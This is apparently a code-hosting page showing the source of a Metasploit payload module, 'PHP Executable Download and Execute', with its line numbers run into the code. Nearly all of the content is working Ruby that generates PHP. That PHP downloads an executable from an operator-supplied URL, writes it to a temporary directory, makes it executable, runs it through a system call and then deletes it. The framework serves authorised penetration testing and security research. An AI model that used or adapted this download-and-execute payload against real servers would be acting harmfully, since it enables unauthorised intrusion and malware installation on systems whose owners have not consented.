Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/php/download_exec.rb
Views: 11765
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = :dynamic910include Msf::Payload::Php11include Msf::Payload::Single1213def initialize(info = {})14super(update_info(info,15'Name' => 'PHP Executable Download and Execute',16'Description' => 'Download an EXE from an HTTP URL and execute it',17'Author' => [ 'egypt' ],18'License' => BSD_LICENSE,19'Platform' => 'php',20'Arch' => ARCH_PHP,21'Privileged' => false22))2324# EXITFUNC is not supported :/25deregister_options('EXITFUNC')2627# Register command execution options28register_options(29[30OptString.new('URL', [ true, "The pre-encoded URL to the executable" ])31])32end3334def php_exec_file35exename = Rex::Text.rand_text_alpha(rand(8) + 4)36dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)37shell = <<-END_OF_PHP_CODE38#{php_preamble(disabled_varname: dis)}39if (!function_exists('sys_get_temp_dir')) {40function sys_get_temp_dir() {41if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }42if (!empty($_ENV['TMPDIR'])) { return realpath($_ENV['TMPDIR']); }43if (!empty($_ENV['TEMP'])) { return realpath($_ENV['TEMP']); }44$tempfile=tempnam(uniqid(rand(),TRUE),'');45if (file_exists($tempfile)) {46@unlink($tempfile);47return realpath(dirname($tempfile));48}49return null;50}51}52$fname = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "#{exename}.exe";53$fd_in = fopen("#{datastore['URL']}", "rb");54if ($fd_in === false) { die(); }55$fd_out = fopen($fname, "wb");56if ($fd_out === false) { die(); }57while (!feof($fd_in)) {58fwrite($fd_out, fread($fd_in, 8192));59}60fclose($fd_in);61fclose($fd_out);62chmod($fname, 0777);63$c = $fname;64#{php_system_block(cmd_varname: "$c", disabled_varnam: dis)}65@unlink($fname);66END_OF_PHP_CODE6768#return Rex::Text.compress(shell)69return shell70end7172#73# Constructs the payload74#75def generate(_opts = {})76return php_exec_file77end78end798081